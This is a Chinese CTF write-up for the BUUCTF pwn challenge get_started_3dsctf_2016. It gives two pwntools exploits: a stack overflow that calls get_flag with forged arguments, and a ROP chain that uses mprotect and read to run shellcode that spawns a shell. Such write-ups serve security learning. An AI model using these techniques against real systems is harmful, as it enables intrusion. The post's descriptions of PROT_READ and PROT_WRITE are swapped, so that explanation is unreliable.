• get_started_3dsctf_2016【BUUCTF】(两种解法)


    分析

    在这里插入图片描述
    发现main函数中执行了gets函数,并且还存在一个get_flag函数,则考虑进行栈溢出,方法一

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      char v4; // [esp+4h] [ebp-38h]
    
      printf("Qual a palavrinha magica? ", v4);
      gets(&v4);
      return 0;
    }
    
    void __cdecl get_flag(int a1, int a2)
    {
      int v2; // eax
      int v3; // esi
      unsigned __int8 v4; // al
      int v5; // ecx
      unsigned __int8 v6; // al
    
      if ( a1 == 814536271 && a2 == 425138641 )
      {
        v2 = fopen("flag.txt", "rt");
        v3 = v2;
        v4 = getc(v2);
        if ( v4 != 255 )
        {
          v5 = (char)v4;
          do
          {
            putchar(v5);
            v6 = getc(v3);
            v5 = (char)v6;
          }
          while ( v6 != 255 );
        }
        fclose(v3);
      }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36

    方法一

    思路很简单,就是通过gets函数溢出执行get_flag函数,并且使得a1,a2的值满足if语句

    from pwn import *
    # io = process("./get_started_3dsctf_2016")
    io = remote("node4.buuoj.cn",26489)
    payload = b'a'*56
    payload += p32(0x080489A0) + p32(0x0804E6A0) # get_flag_addr:0x080489A0,exit_addr:0x0804E6A0
    payload += p32(0x308CD64F) + p32(0x195719D1)
    io.sendline(payload)
    io.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    tips:最后必须要返回exit,因为本题没有开启标准输入输出,输入输出会在缓冲区呆着,而exit执行后会将缓冲区输出,则可回显flag!!!
    但有个小小疑问:本方法大概布局:'a’offset + ‘ebp’ + get_flag + get_flag的返回地址 + 参数1 + 参数2
    但为啥溢出了‘ebp’ 地址则失败,我最开始payload为:payload = b’a’
    (56+4)+p32(0x080489A0) + p32(0x0804E6A0)+p32(0x308CD64F) + p32(0x195719D1),但失败!!

    方法二

    有些大牛直接通过给bss赋值,使得NX不可执行改成可执行,于是构建shellcode,这里学习一下

    mprotect

    int mprotect(const void *start, size_t len, int prot);
    	第一个参数填的是一个地址,是指需要进行操作的地址。
    	第二个参数是地址往后多大的长度。
    	第三个参数的是要赋予的权限。
    mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
    prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
      1)PROT_READ:表示内存段内的内容可写;
      2)PROT_WRITE:表示内存段内的内容可读;
      3)PROT_EXEC:表示内存段中的内容可执行;
      4)PROT_NONE:表示内存段中的内容根本没法访问。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    prot=7 是可读可写可执行,记住就行,类似于chmod中的7

    需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。
    就这样,我们就可以将一段地址弄成可以执行的了。因为程序本身也是静态编译,所以地址是不会变的。

    先找一块地址将其变成可执行的

    使用:readelf -S get_started_3dsctf_2016查看,可以使用bss地址空间,因为该地址空间存放全局变量,并且属于静态分配的空间。
    在这里插入图片描述
    由于要求的地址空间为4K的整数倍,因此后三位为000,即bss_addr = 0x80eb000

    from pwn import *
    io = process("./get_started_3dsctf_2016")
    # io = remote("node4.buuoj.cn",26489)
    mprotect_addr = 0x806ec80
    read_addr = 0x806e140
    bss_addr = 0x80eb000
    pop3_ret = 0x8063adb
    payload = b'a'*0x38+p32(mprotect_addr)+p32(pop3_ret)+p32(bss_addr)+p32(0x1000)+p32(0x7)+p32(read_addr)+p32(pop3_ret)+p32(0)+p32(bss_addr)+p32(0x100)+p32(bss_addr)
    io.sendline(payload)
    shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
    io.sendline(shellcode)
    io.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    这里pop3_ret目的是栈平衡,由于mprotect和read都是3个参数,选用三个参数的pop进行栈平衡,这块我不是很懂,得继续学习

  • 相关阅读:
    vue 非父子通信 拓展 -- provide inject 跨层级共享数据
    数据仓库工具箱-第三章-零售业务
    如何在Microsoft Exchange 2010中安装SSL证书
    Python学习十:网络编程
    golang使用高阶函数优化业务功能
    webman 事务回滚失效问题记录
    基于MATLAB驾驶行为的疲劳实时检测研究
    极大似然估计和交叉熵
    python采集火热弹幕数据并做词云图可视化分析
    Python继承和组合 工厂模式、单例模式实现如下需求
  • 原文地址:https://blog.csdn.net/qq_41696518/article/details/126559799